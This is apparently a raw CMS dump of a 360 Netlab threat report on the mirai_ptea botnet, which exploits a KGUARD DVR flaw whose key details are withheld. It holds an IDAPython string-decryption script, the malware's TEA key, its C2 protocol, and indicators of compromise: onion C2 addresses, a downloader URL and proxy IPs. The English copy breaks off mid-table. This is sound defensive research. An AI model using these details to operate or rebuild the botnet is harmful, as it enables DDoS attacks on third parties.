# IDAPYTHON SCRIPT for md5 c6ef442bc804fc5290d3617056492d4b only.
# Tested at ida 7.0
from ctypes import *
import struct
print "-------------------decryption start------------------------"
key=[0xC26F6A52,0x24AA0006,0x8E1BF2C5,0x4BA51F8C]
def tea_dec(buf,key):
rbuf=""
fmt = '>' + str(len(buf)/4) + 'I'
tbuf= struct.unpack_from(fmt,buf)
j=0
for i in range(0,len(tbuf)/2):
v1=c_uint32(tbuf[i+j])
v2=c_uint32(tbuf[i+1+j])
sum=c_uint32(0xC6EF3720)
while(sum.value):
v2.value -= ((v1.value>>5)+key[3]) ^(v1.value+sum.value)^ ((v1.value<<4)+key[2])
v1.value -= ((v2.value>>5)+key[1]) ^(v2.value+sum.value)^ ((v2.value<<4)+key[0])
sum.value+=0x61C88647
rbuf +=struct.pack(">I",v1.value)+struct.pack(">I",v2.value)
j+=1
return rbuf
def getbuff(addr):
buf = ""
while idc.get_bytes(addr, 2) != "\x00\x00":
buf += idc.get_bytes(addr, 1)
addr += 1
return buf
# pay attention to function at 0x0000D074
a=getbuff(idc.get_wide_dword(0x00019C9C))
buf=[]
#0x19c9c-0x199f0 --> 684
for i in range(0,684,12):
offset=idc.get_wide_word(0x000199F4+i)
length=idc.get_wide_word(0x000199F4+i+2)
buf.append(a[offset:offset+length])
c2=[]
#684/12 --> 57
for i in range(57):
decbuf=tea_dec(buf[i],key)
if(".onion" in decbuf):
c2.append(decbuf)
print "index %x, value = %s" %(i,decbuf)
print "-------------------decryption end---------------"
proxya=tea_dec(buf[0x2a],key)
pacnt=struct.unpack("<H",proxya[2:4])
proxy=[]
port=[]
tmp=proxya[4:4+6*(pacnt[0])]
print "------------proxys at index 0x2A, count= %d------------" %(pacnt[0])
for i in range(0,len(tmp),6):
proxy.append(struct.unpack(">I",tmp[i:i+4])[0])
port.append(struct.unpack("<H",tmp[i+4:i+6])[0])
for i in range(pacnt[0]):
a=struct.pack(">I",proxy[i])
ip=""
for j in range(4):
ip+=str(ord(a[j]))
if j!=3:
ip+="."
print"%s:%d" %(ip,port[i])
proxyb=tea_dec(buf[0x2b],key)
pbcnt=struct.unpack("<H",proxyb[2:4])
fmt = '>' + str(pbcnt[0]) + 'I'
tmp=proxyb[4:4*(pbcnt[0]+1)]
print "------------proxys at index 0x2B, count= %d------------" %(pbcnt[0])
xxxxx=struct.unpack(fmt,tmp)
for i in xxxxx:
a=struct.pack(">I",i)
ip=""
for i in range(4):
ip+=str(ord(a[i]))
if i!=3:
ip+="."
print ip
print "-------------------------onion info--------------"
if len(c2)!=0:
for i in c2:
pos=i.find(".onion")
for j in range(0,pos,16):
print i[j:16+j]+".onion"
else:
print "Don't find the onion c2"
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 版权\n版权声明：本文为Netlab原创，依据 [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。\n# 概述\n2021-06-22我们检测到一个我们命名为`mirai_ptea`的mirai变种样本通过未知漏洞传播。经过分析，该漏洞为[KGUARD DVR](https://www.kguard.com.tw/)未公开的漏洞。从我们的分析看该漏洞存在于2016年的固件版本中。我们能找到的2017年之后的固件厂家均已经修复该漏洞。有意思的是，一天以后，6月23日，我们收到安全社区的询问，咨询我们是否看到一种新的DDoS攻击botnet。交叉对比线索，居然就是我们刚发现的这个botnet，目前看。这个僵尸网络处于活跃的攻击状态(见最后)。\n\n## 时间线\n- 2021-03-22 我们历史数据首次观察到针对该漏洞的探测扫描\n- 2021-06-22 我们观察到mirai_ptea样本利用该漏洞传播\n- 2021-06-23 我们收到安全社区的询问是否看到一种新的DDoS攻击botnet\n- 2021-06-25 我们观察到mirai_aurora样本利用该漏洞传播\n\n# 漏洞分析\n鉴于我们并未发现该漏洞的公开资料，为防止该漏洞被滥用，此处我们将隐藏部分关键信息。\n\nKGUARD DVR 2016年的固件上的`***`程序监听在`0.0.0.0`的`*****`端口无需认证即可远程执行系统命令。 最新的固件中厂家通过修改监听地址为`127.0.0.1`修复了该漏洞。部分利用payload如下：\n\n\n## 受影响设备分析\n\n通过探测我们发现至少3千左右的在线设备依然存在该漏洞。已知仍然受影响设备如下:\n| DeviceType | ProductType | HardVersion | DefDeviceName |\n| ------------- | ---------------- | ------------- | ---------------- |\n| D1004NR | DVR4-1600 | DM-268A | DVR4-1600 |\n| D1004NR | HY-DVR | DM-268 | 720P-HY04N |\n| D1004NR | HY-DVR | DM-268A | 720P-HY04N |\n| D1004NR | HY-DVR | DM-274 | 720P-HY04N |\n| D1004NR | HY-DVR | DM-274B | 720P-HY04N |\n| D1004NR | NHDR | DM-274 | NHDR-3204AHD |\n| D1004NR | RL-AHD4n | DM-268 | 720P-HY04N |\n| D1008NR | 1093/508N-DVRBM08H | DM-292 | 720P-HY08N |\n| D1008NR | DVR8-1600 | DM-298 | DVR8-1600 |\n| D1008NR | DVR8-HDA10L | DM-292 | DVR8-HDA10L |\n| D1008NR | HD881 | DM-292 | HD881 |\n| D1008NR | HY-DVR | DM-292 | 720P-HY08N |\n| D1008NR | HY-DVR | DM-298 | 720P-HY08N |\n| D1008NR | NHDR | DM-298 | NHDR-3208AHD |\n| D1008NR | RL-AHD8n | DM-292 | 720P-HY08N |\n| D1016NR | DVR16-HDA10L | DM-303 | DVR16-HDA10L |\n| D1016NR | HD1681 | DM-303 | HD1681 |\n| D1016NR | HY-DVR | DM-303A | 720P-HY16N |\n| D1016NR | HY-DVR | DM-310 | 720P-HY16N |\n| D1016NR | HY-DVR | DM-310A | 720P-HY16N |\n| D1016NR | NHDR | DM-310 | NHDR-3216AHD |\n| D1016NR | RL-MHD16n(21A) | DM-310A | 720P-HY16N |\n| D1104 | HY-DVR | DM-290A | 1080P-HY04 |\n| D1104 | NHDR | DM-307 | NHDR-5304AHD |\n| D1104NR | HD1T4 | DM-291A | 1080P-04 |\n| D1104NR | HD481 | DM-291 | HD481 |\n| D1104NR | HRD-E430L | DM-291A | HRD-E430L |\n| D1104NR | HY-DVR | DM-284 | 1080P-HY04N |\n| D1104NR | HY-DVR | DM-291 | \"Panda |\n| D1104NR | HY-DVR | DM-291 | 1080P-HY04N |\n| D1104NR | HY-DVR | DM-291A | 1080P-HY04N |\n| D1104NR | HY-DVR | DM-291C | LRA3040N |\n| D1104NR | NHDR | DM-307 | NHDR-5104AHD |\n| D1104NR | SDR-B73303 | DM-291A | SDR-B73303 |\n| D1104NR | SVR9204H | DM-291A | 1080P-HY04N |\n| D1108NR | 1093/538P | DM-290 | 1080P-HY08N |\n| D1108NR | DVR8-4575 | DM-290 | DVR8-4575 |\n| D1108NR | DVR8-HDA10P | DM-290 | DVR8-HDA10P |\n| D1108NR | HRD-E830L | DM-290A | HRD-E830L |\n| D1108NR | HY-DVR | DM-290 | 1080P-HY08N |\n| D1108NR | HY-DVR | DM-290A | 1080P-HY08N |\n| D1108NR | HY-DVR | DM-290A | LRA3080N |\n| D1108NR | NHDR | DM-307 | NHDR-5108AHD |\n| D1108NR | RL-AHD8p | DM-290 | 1080P-HY08N |\n| D1108NR | SDR-B74301 | DM-290A | SDR-B74301 |\n| D1108NR | SDR-B74303 | DM-290A | SDR-B74303 |\n| D1116 | HY-DVR | DM-300 | EHR-5164 |\n| D1116NR | HRD-E1630L | DM-295 | HRD-E1630L |\n| D1116NR | HY-DVR | DM-295 | 1080P-HY16N |\n| D1116NR | HY-DVR | DM-295 | LRA3160N |\n| D1116NR | HY-DVR | DM-299 | 1080P-HY16N |\n| D1116NR | SDR-B75303 | DM-295 | SDR-B75303 |\n| D1132NR | HY-DVR | DM-300 | 1080P-HY32 |\n| D2116NR | SDR-B85300 | DM-300 | SDR-B85300 |\n| D973215U | F9-DVR32 | DM-195 | F9-DVR32 |\n| D9804AHD | DVR | DM-210 | 391115 |\n| D9804NAHD | AHD7-DVR4 | DM-239 | AHD7-DVR4 |\n| D9804NAHD | DVR | DM-239 | 720P-DVR04ND |\n| D9804NAHD | NHDR | DM-239 | NHDR-3104AHD-II |\n| D9808NRAHD | AHD7-DVR8 | DM-228 | AHD7-DVR8 |\n| D9808NRAHD | DVR | DM-228 | |\n| D9808NRAHD | DVR | DM-228 | 391116 |\n| D9808NRAHD | NHDR | DM-228 | NHDR-3108AHD-II |\n| D9808NRAHD | NHDR | DM-228 | NHDR3108AHDII |\n| D9816NAHD | DVR | DM-233 | 720P-DVR016N |\n| D9816NAHD | NHDR | DM-233 | NHDR3116AHDII |\n| D9816NRAHD | AHD7-DVR16 | DM-229 | AHD7-DVR16 |\n| D9816NRAHD | DVR | DM-229 | 720P-DVR016NB |\n| D9904 | D9904 | DM-237 | 1080P-DVR04 |\n| D9904 | DVR | DM-237 | 1080P-DVR04 |\n| D9904 | NHDR | DM-237 | NHDR-5204AHD |\n| D9904NR | DVR | DM-244 | 1080P-DVR04N |\n| D9904NR | DVR | DM-244 | BCS-VAVR0401M |\n| D9904NR | HY-DVR | DM-244 | CVD-AF04S |\n| D9904NR | N420 | DM-244 | 1080P-DVR04N |\n| D9904NR | NHDR | DM-244 | NHDR-5004AHD-II |\n| D9904NR | NHDR | DM-244 | NHDR5004AHDII |\n| D9908 | DVR | DM-245 | BCS-VAVR0802Q |\n| D9908 | NHDR | DM-245 | NHDR-5208AHD |\n| D9908AHD | DVR | DM-246 | 1080P-DVR08A |\n| D9908NR | AHD10-DVR8 | DM-237 | AHD10-DVR8 |\n| D9908NR | DVR | DM-237 | 1080P-DVR08N |\n| D9908NR | DVR | DM-237 | SVR9008ATHD/C |\n| D9908NR | HY-DVR | DM-237 | CVD-AF08S |\n| D9908NR | N820 | DM-237 | 1080P-DVR08N |\n| D9908NR | NHDR | DM-237 | NHDR-5008AHD-II |\n| D9916NR | DVR | DM-245 | 1080P-DVR016NAT;UI |\n| D9916NR | DVR | DM-245 | HR-31-211620;UI |\n| D9916NR | HY-DVR | DM-245 | CVD-AF16S |\n| D9916NR | NHDR | DM-245 | NHDR-5016AHD-II |\n| D9916NRAHD | DVR | DM-246 | 1080P-DVR016NA |\n| D9916NRAHD | N1620 | DM-246 | 1080P-DVR016NA |\n| H1104W | SNR-73200W | DM-339 | SNR-73200W |\n| H1106W | LHB806 | DM-291B | LHB806 |\n| H1106W | LHB906 | DM-291B | LHB906 |\n\n\n# Bot规模分析\n从我们的数据视野看，该botnet的活跃Bot源IP趋势如下：\n\n\nBot源IP地理位置分布如下，主要集中在美国、韩国和巴西：\n\n\n\n# 样本分析\n\n本文选取以下样本为主要分析对象\n\n```\nVerdict:mirai_ptea\nMD5:c6ef442bc804fc5290d3617056492d4b\nELF 32-bit LSB executable, ARM, version 1, statically linked, stripped \nPacker:No\nLib:uclibc\n```\n\n```c6ef442bc804fc5290d3617056492d4b```是一个Mirai的变种，基于其使用Tor Proxy和C2通信，以及TEA算法（Tiny Encryption Algorithm）隐藏敏感的资源信息，我们称之为```Mirai_ptea```。Mirai_ptea运行时在会Console输出字串```come at me krebs rimasuta go BRRT```，这就是有的研究人员将它称之为```Rimasuta```的原因，它在主机行为层面和Mirai很相似，并无亮点，因此这方面不再细述；在网络流量层面采用Tor Proxy，样本内嵌了大量的代理节点，而且Tor-C2被加密，下文将着重讨论加密方法和通信协议。\n\n\n\n# 加密算法\n\nMirai_ptea将所有的敏感资源信息加密并按一定的顺序存储，在IDA打开样本看到的字串信息如下所示，几乎没有可读的信息。\n\n\n\n\n\n下面的代码片段来自样本中解密相关函数，通过```红框中的常量```可以判定它使用的是TEA算法，\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_tea.png\" width=\"860px\" />\n\n密钥为：\n\n```\n0xC26F6A52 0x24AA0006 0x8E1BF2C5 0x4BA51F8C\n```\n\n\n\n基于逆向分析，我们实现了[**附录**](#decrypt_str)的解密脚本，通过它可以获得所有的解密后的敏感资源以及它们的表项信息，部分资源信息如下所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_decinfo.png\" width=\"860px\" />\n\nMirai_ptea在使用加密资源时有2种操作方式\n- **传统的Mirai方式**，解密一个加密项，取值，加密一个解密后的项，即```var_unlock-->var_get-->var_lock```。例如在获取输出在Console上的信息时，就是通过这种方式。\n\n\n\n表项0x11的值正是```come at me krebs rimasuta go BRRT```。\n\n- **Mirai_ptea的方式**，解密多个加密项，取值，重新加密已解密的项，即```rangeVar_unlock-->var_get-->rangeVar_lock```。例如在获取伪装进程名时，就是通过这种方式。\n\n\n\n表项0x2c到0x2c+10的值如下所示，正是11个供选择的伪装进程名：\n\n```\nindex 0x2c, value = /bin/sh\nindex 0x2d, value = telnetd\nindex 0x2e, value = upnpc-static\nindex 0x2f, value = wsdd\nindex 0x30, value = proftpd\nindex 0x31, value = mini_httpd\nindex 0x32, value = udevd\nindex 0x33, value = /sbin/udhcpc\nindex 0x34, value = boa\nindex 0x35, value = /usr/sbin/inetd\nindex 0x36, value = dnsmasq\n```\n\n# 通信协议\n\nMirai_ptea的网络流量概览如下图所示：\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_network.png\" width=\"860px\" />\n\n整个过程可以分成以下3个步骤：\n\n1：和代理节点建立连接\n\n2：和Tor C2建立连接\n\n3：通过ptea自定义的协议和C2通信，接收C2下发的攻击指令。\n\n### 0x1. 和代理建立连接\n\nMirai_ptea样本中内置了2组代理，它们在加密资源中的表项分别为0x2a,0x2b。Bot样本运行时，会在2组代理中随机选一组，然后在选中的组中随机选一个通过下面代码片段建立连接。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_proxy.png\" width=\"860px\" />\n\n其中```0x2a```中一共有38个代理节点，格式为```ip:port```\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_0x2a.png\" width=\"860px\" />\n\n而```0x2b```中一共有个334个代理节点，格式为```ip```，这组代理的端口为固定的9050。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_0x2b.png\" width=\"860px\" />\n\n详细的代理列表见附录。\n\n\n\n### 0x2. 通过Tor-Proxy协议和C2建立连接\n\n\n\n\n可以看出C2在加密资源中的表项为```0xD```，解密后得到下面字串：\n\n```\nrkz2f5u57cvs3kdt6amdku2uhly2esj7m2336dttvcygloivcgsmxjjnuickasbuatxajrovi4lvd2zjuejivzrb3vobuoezbc6z3gtu6b3r5tce.onion\n```\n\n将上面字串排除尾部的“.onion”后以长度16分割，然后和尾部的```.onion```字串进行拼接，就得到了以下7个C2。\n\n```\nrkz2f5u57cvs3kdt.onion\n6amdku2uhly2esj7.onion\nm2336dttvcygloiv.onion\ncgsmxjjnuickasbu.onion\natxajrovi4lvd2zj.onion\nuejivzrb3vobuoez.onion\nbc6z3gtu6b3r5tce.onion\n```\n\n### 0x3. 通过自定义的协议和C2进行通信，具体的上线，心跳，攻击如下所示\n\n- 上线\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_reg.png\" width=\"860px\" />\n\n```\nmsg parsing\n----------------------------------------------------------------\n3e c7 e3 1e 37 47 61 20\t\t\t\t\t\t----->hardcoded msg from Bot\nb1 2f de ce cb 89 e1 a0\t\t\t\t\t\t----->cmd from C2,ask Bot to upload info\n3a 31 34 b5 02 00\t\t\t\t\t\t\t----->hardcoded 6 bytes msg from Bot\nb4 a3 e1 16\t\t\t\t\t\t\t\t\t----->ip of infected device\n04\t\t\t\t\t\t\t\t\t\t\t----->group string length\n74 65 73 74\t\t\t\t\t\t\t\t ----->group string\n79\t\t\t ----->padding\n```\n- 心跳\n<img src=\"__GHOST_URL__/content/images/2021/06/ptea_heart.png\" width=\"860px\" />\n\n```\nmsg parsing\n----------------------------------------------------------------\n2a 23\t\t\t\t\t\t-----> random 2 bytes msg from Bot\n2a 23\t\t\t\t\t\t-----> random 2 bytes msg from C2\n```\n- 攻击指令，前4字节```AD AF FE 7F```为固定的幻数，剩余部分与mirai的攻击指令格式类似\n\n```\n00000000: AD AF FE 7F 1E 00 00 00 00 01 B9 98 42 65 20 00 ............Be .\n00000010: 42 65 20 00 \n```\n\n# DDoS攻击活动\n从我们的DDoS跟踪系统看，该僵尸网络已经发起实际的DDoS攻击，下图为我们观察到的该僵尸网络的一些DDoS攻击指令：\n<a href=\"__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4c.png\"><img src=\"__GHOST_URL__/content/images/2021/06/mirai_ptea_atk_cmd_4.png\" class=\"kg-image\"/></a>\n\n\n# 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n# IoC\n\n## Tor-C2\n```\nbc6z3gtu6b3r5tce.onion:3742\ncgsmxjjnuickasbu.onion:992\nuejivzrb3vobuoez.onion:5353\nrkz2f5u57cvs3kdt.onion:280\natxajrovi4lvd2zj.onion:110\n6amdku2uhly2esj7.onion:513\nm2336dttvcygloiv.onion:666\n```\n\n## Sample MD5\n\n```\nc6ef442bc804fc5290d3617056492d4b\nf849fdd79d433e2828473f258ffddaab\n```\n\n## Downloader URL\n```\nhttp://193[.177.182.221/boot\n```\n\n## Scanner IP\n```\n205.185.117.21\tAS53667|FranTech_Solutions\tUnited_States|Nevada|Las_Vegas\n205.185.114.55\tAS53667|FranTech_Solutions\tUnited_States|Nevada|Las_Vegas\n68.183.109.6\tAS14061|DigitalOcean,_LLC\tUnited_States|New_York|New_York_City\n67.205.163.141\tAS14061|DigitalOcean,_LLC\tUnited_States|New_York|New_York_City\n165.227.88.215\tAS14061|DigitalOcean,_LLC\tUnited_States|New_York|New_York_City\n```\n\n## Proxys\n```\n---------proxys at index 0x2a，count=38---------\n149.202.9.7:9898\n91.134.216.103:16358\n84.32.188.34:1157\n51.178.185.237:32\n65.21.16.80:23560\n149.202.9.14:19765\n146.59.11.109:5089\n195.189.96.61:29582\n84.32.188.37:1454\n51.195.209.80:26848\n5.199.174.242:27931\n95.179.158.147:22413\n146.59.11.103:1701\n185.150.117.10:29086\n149.56.154.210:24709\n135.148.11.151:3563\n51.195.152.255:25107\n45.79.193.124:7158\n135.148.11.150:5560\n185.150.117.41:20790\n135.125.250.120:14498\n172.106.70.135:692\n195.189.96.60:9700\n172.106.70.134:25054\n149.56.154.211:21299\n108.61.218.205:29240\n51.178.185.236:21685\n51.81.139.251:6255\n51.255.237.164:963\n51.81.139.249:32380\n139.162.45.218:5165\n65.21.16.94:28056\n207.148.74.163:32389\n172.104.100.78:1039\n45.32.8.100:19759\n141.164.46.133:2205\n172.105.36.167:10843\n172.105.180.239:19531\n\n---------proxys at index 0x2b，count=334，port=9050---------\nToo many, not list here, you can get them via the IDA script\n```\n# <a id=\"decrypt_str\">附录（IDA解密脚本）</a>\n```\n# IDAPYTHON SCRIPT for md5 c6ef442bc804fc5290d3617056492d4b only.\n# Tested at ida 7.0\nfrom ctypes import *\nimport struct\nprint \"-------------------decryption start------------------------\"\n\nkey=[0xC26F6A52,0x24AA0006,0x8E1BF2C5,0x4BA51F8C]\ndef tea_dec(buf,key):\n rbuf=\"\"\n fmt = '>' + str(len(buf)/4) + 'I'\n tbuf= struct.unpack_from(fmt,buf)\n j=0\n for i in range(0,len(tbuf)/2):\n \n v1=c_uint32(tbuf[i+j])\n v2=c_uint32(tbuf[i+1+j])\n\n sum=c_uint32(0xC6EF3720)\n while(sum.value):\n v2.value -= ((v1.value>>5)+key[3]) ^(v1.value+sum.value)^ ((v1.value<<4)+key[2])\n v1.value -= ((v2.value>>5)+key[1]) ^(v2.value+sum.value)^ ((v2.value<<4)+key[0])\n sum.value+=0x61C88647\n rbuf +=struct.pack(\">I\",v1.value)+struct.pack(\">I\",v2.value)\n j+=1\n return rbuf\ndef getbuff(addr):\n buf = \"\"\n while idc.get_bytes(addr, 2) != \"\\x00\\x00\":\n buf += idc.get_bytes(addr, 1)\n addr += 1\n\n return buf\n\n\n\n# pay attention to function at 0x0000D074\na=getbuff(idc.get_wide_dword(0x00019C9C))\n\n \n\nbuf=[]\n#0x19c9c-0x199f0 --> 684\nfor i in range(0,684,12):\n offset=idc.get_wide_word(0x000199F4+i)\n length=idc.get_wide_word(0x000199F4+i+2)\n\n buf.append(a[offset:offset+length])\n \nc2=[]\n#684/12 --> 57\nfor i in range(57):\n decbuf=tea_dec(buf[i],key)\n\n if(\".onion\" in decbuf):\n c2.append(decbuf)\n print \"index %x, value = %s\" %(i,decbuf) \nprint \"-------------------decryption end---------------\"\n\nproxya=tea_dec(buf[0x2a],key)\npacnt=struct.unpack(\"<H\",proxya[2:4])\n\n\nproxy=[]\nport=[]\ntmp=proxya[4:4+6*(pacnt[0])]\nprint \"------------proxys at index 0x2A, count= %d------------\" %(pacnt[0])\nfor i in range(0,len(tmp),6):\n proxy.append(struct.unpack(\">I\",tmp[i:i+4])[0])\n port.append(struct.unpack(\"<H\",tmp[i+4:i+6])[0])\nfor i in range(pacnt[0]):\n a=struct.pack(\">I\",proxy[i])\n ip=\"\"\n for j in range(4):\n ip+=str(ord(a[j]))\n if j!=3:\n ip+=\".\"\n \n print\"%s:%d\" %(ip,port[i])\n\n\n\nproxyb=tea_dec(buf[0x2b],key)\npbcnt=struct.unpack(\"<H\",proxyb[2:4])\nfmt = '>' + str(pbcnt[0]) + 'I'\ntmp=proxyb[4:4*(pbcnt[0]+1)]\nprint \"------------proxys at index 0x2B, count= %d------------\" %(pbcnt[0])\nxxxxx=struct.unpack(fmt,tmp)\nfor i in xxxxx:\n a=struct.pack(\">I\",i)\n ip=\"\"\n for i in range(4):\n ip+=str(ord(a[i]))\n if i!=3:\n ip+=\".\"\n print ip\n\n\nprint \"-------------------------onion info--------------\" \nif len(c2)!=0:\n for i in c2:\n \n pos=i.find(\".onion\")\n\n for j in range(0,pos,16):\n print i[j:16+j]+\".onion\"\nelse:\n print \"Don't find the onion c2\"\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 60d543d63819e500076345bb |
post | null | 2021-07-01T02:53:55.000Z | 63873b9a8b1c1e0007f52fda | mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en | 0 | 2021-07-03T02:38:53.000Z | public | published | null | 2021-07-01T14:00:00.000Z | Mirai_ptea Botnet is Exploiting Undisclosed KGUARD DVR Vulnerability | <!--kg-card-begin: markdown--><h1 id="overview">Overview</h1>
<p>On 2021-06-22 we detected a sample of a mirai variant that we named <code>mirai_ptea</code> propagating through a new vulnerability targeting <a href="https://www.kguard.com.tw/">KGUARD DVR</a>. Coincidently, a day later, on June 23, we received an inquiry from the security community asking if we had seen a new DDoS botnet, cross-referencing some data, it was exactly this botnet that we had just discovered.</p>
<h3 id="timeline">Timeline</h3>
<ul>
<li>2021-03-22 Our historical data indicates the first probe against this vulnerability</li>
<li>2021-06-22 We observed the <code>mirai_ptea</code> sample exploiting this vulnerability to spread</li>
<li>2021-06-23 We got a tip from the security community that this botnet was being used for ongoing DDoS attacks.</li>
<li>2021-06-25 <code>mirai_aurora</code>, another mirai variant, starts to use this vulnerability to propagate</li>
</ul>
<h1 id="vulnerabilityanalysis">Vulnerability analysis</h1>
<p>Given that we have not found public information on this vulnerability, we will hide some of the key information here to prevent the vulnerability from being further abused.</p>
<p>One program on the KGUARD DVR firmware listens on port <code>*****</code> at <code>0.0.0.0</code> to remotely execute system commands without authentication. The firmware released after 2017 seems to have this fixed by modifying the listening address to <code>127.0.0.1</code>. Some of the exploited payloads are as follows.<br>
<img src="__GHOST_URL__/content/images/2021/07/mirai_ptea_xx_exp_p.png" alt="mirai_ptea_xx_exp_p" loading="lazy"></p>
<h3 id="analysisofaffecteddevices">Analysis of affected devices</h3>
<p>We have discovered at least 3,000 or so online devices still have the vulnerability. The affected devices are as follows:</p>
<table>
<thead>
<tr>
<th>DeviceType</th>
<th>ProductType</th>
<th>HardVersion</th>
<th>DefDeviceName</th>
</tr>
</thead>
<tbody>
<tr>
<td>D1004NR</td>
<td>DVR4-1600</td>
<td>DM-268A</td>
<td>DVR4-1600</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-268</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-268A</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-274</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>HY-DVR</td>
<td>DM-274B</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1004NR</td>
<td>NHDR</td>
<td>DM-274</td>
<td>NHDR-3204AHD</td>
</tr>
<tr>
<td>D1004NR</td>
<td>RL-AHD4n</td>
<td>DM-268</td>
<td>720P-HY04N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>1093/508N-DVRBM08H</td>
<td>DM-292</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>DVR8-1600</td>
<td>DM-298</td>
<td>DVR8-1600</td>
</tr>
<tr>
<td>D1008NR</td>
<td>DVR8-HDA10L</td>
<td>DM-292</td>
<td>DVR8-HDA10L</td>
</tr>
<tr>
<td>D1008NR</td>
<td>HD881</td>
<td>DM-292</td>
<td>HD881</td>
</tr>
<tr>
<td>D1008NR</td>
<td>HY-DVR</td>
<td>DM-292</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>HY-DVR</td>
<td>DM-298</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1008NR</td>
<td>NHDR</td>
<td>DM-298</td>
<td>NHDR-3208AHD</td>
</tr>
<tr>
<td>D1008NR</td>
<td>RL-AHD8n</td>
<td>DM-292</td>
<td>720P-HY08N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>DVR16-HDA10L</td>
<td>DM-303</td>
<td>DVR16-HDA10L</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HD1681</td>
<td>DM-303</td>
<td>HD1681</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HY-DVR</td>
<td>DM-303A</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HY-DVR</td>
<td>DM-310</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>HY-DVR</td>
<td>DM-310A</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1016NR</td>
<td>NHDR</td>
<td>DM-310</td>
<td>NHDR-3216AHD</td>
</tr>
<tr>
<td>D1016NR</td>
<td>RL-MHD16n(21A)</td>
<td>DM-310A</td>
<td>720P-HY16N</td>
</tr>
<tr>
<td>D1104</td>
<td>HY-DVR</td>
<td>DM-290A</td>
<td>1080P-HY04</td>
</tr>
<tr>
<td>D1104</td>
<td>NHDR</td>
<td>DM-307</td>
<td>NHDR-5304AHD</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HD1T4</td>
<td>DM-291A</td>
<td>1080P-04</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HD481</td>
<td>DM-291</td>
<td>HD481</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HRD-E430L</td>
<td>DM-291A</td>
<td>HRD-E430L</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-284</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291</td>
<td>"Panda</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291A</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>HY-DVR</td>
<td>DM-291C</td>
<td>LRA3040N</td>
</tr>
<tr>
<td>D1104NR</td>
<td>NHDR</td>
<td>DM-307</td>
<td>NHDR-5104AHD</td>
</tr>
<tr>
<td>D1104NR</td>
<td>SDR-B73303</td>
<td>DM-291A</td>
<td>SDR-B73303</td>
</tr>
<tr>
<td>D1104NR</td>
<td>SVR9204H</td>
<td>DM-291A</td>
<td>1080P-HY04N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>1093/538P</td>
<td>DM-290</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>DVR8-4575</td>
<td>DM-290</td>
<td>DVR8-4575</td>
</tr>
<tr>
<td>D1108NR</td>
<td>DVR8-HDA10P</td>
<td>DM-290</td>
<td>DVR8-HDA10P</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HRD-E830L</td>
<td>DM-290A</td>
<td>HRD-E830L</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HY-DVR</td>
<td>DM-290</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HY-DVR</td>
<td>DM-290A</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>HY-DVR</td>
<td>DM-290A</td>
<td>LRA3080N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>NHDR</td>
<td>DM-307</td>
<td>NHDR-5108AHD</td>
</tr>
<tr>
<td>D1108NR</td>
<td>RL-AHD8p</td>
<td>DM-290</td>
<td>1080P-HY08N</td>
</tr>
<tr>
<td>D1108NR</td>
<td>SDR-B74301</td>
<td>DM-290A</td>
<td>SDR-B74301</td>
</tr>
<tr>
<td>D1108NR</td>
<td>SDR-B74303</td>
<td>DM-290A</td>
<td>SDR-B74303</td>
</tr>
<tr>
<td>D1116</td>
<td>HY-DVR</td>
<td>DM-300</td>
<td>EHR-5164</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HRD-E1630L</td>
<td>DM-295</td>
<td>HRD-E1630L</td>
</tr>
<tr>
<td>D1116NR</td>
<td>HY-DVR</td>
<td>DM-295</td>
<td>1080P-HY16N</td>
</tr>
<tr>
